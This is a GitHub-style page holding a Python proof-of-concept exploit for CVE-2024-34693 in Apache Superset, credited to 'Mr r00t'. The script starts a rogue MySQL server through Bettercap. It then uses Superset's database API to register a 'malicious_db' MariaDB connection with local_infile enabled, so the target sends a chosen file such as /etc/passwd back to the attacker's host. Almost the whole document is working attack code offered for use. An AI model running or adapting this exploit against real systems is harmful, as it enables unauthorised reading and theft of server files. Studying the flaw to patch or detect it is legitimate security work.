-
Notifications
You must be signed in to change notification settings - Fork 1
/
exploit_cve_2024_34693.py
57 lines (48 loc) · 2.95 KB
/
exploit_cve_2024_34693.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import argparse
import requests
import subprocess
from colorama import Fore, Style
def setup_rogue_mysql_server(file_to_exfiltrate):
print("[*] Setting up Rogue MySQL Server with Bettercap...")
bettercap_command = [
"sudo", "bettercap", "-eval",
f"mysql.server on; set mysql.server.commands LOAD DATA LOCAL INFILE '/{file_to_exfiltrate}' INTO TABLE mysql.users;"
]
subprocess.run(bettercap_command)
def create_mariadb_connection(superset_url):
print("[*] Creating malicious MariaDB connection...")
malicious_url = f"{superset_url}/api/v1/database"
payload = {
"database_name": "malicious_db",
"sqlalchemy_uri": "mariadb://172.17.0.1/malicious_db?local_infile=1",
"extra": "{}",
"allow_dml": True,
"expose_in_sqllab": True,
"impersonate_user": False
}
headers = {
"Content-Type": "application/json"
}
response = requests.post(malicious_url, json=payload, headers=headers)
if response.status_code == 201:
print("[+] Successfully created malicious MariaDB connection.")
else:
print(f"[-] Failed to create malicious MariaDB connection: {response.status_code}")
print(response.text)
def main():
parser = argparse.ArgumentParser(description="Exploit CVE-2024-34693 in Apache Superset")
parser.add_argument("superset_url", help="Base URL of the Apache Superset instance (e.g., http://localhost:8088)")
parser.add_argument("file_to_exfiltrate", help="Path of the file to exfiltrate from the target system (e.g., /etc/passwd)")
args = parser.parse_args()
setup_rogue_mysql_server(args.file_to_exfiltrate)
create_mariadb_connection(args.superset_url)
if __name__ == "__main__":
print(f"""{Fore.BLUE}
██████ ██ ██ ███████ ██████ ██████ ██████ ██ ██ ██████ ██ ██ ██████ █████ ██████
██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ █████ █████ █████ ██ ██ ██ █████ ███████ █████ █████ ███████ ███████ ██████ █████
██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ███████ ███████ ██████ ███████ ██ ██████ ██ ██████ █████ ██████
{Style.RESET_ALL}---------------------- proof of concept to exploit apache superset by Mr r00t --------------------------------
""")
main()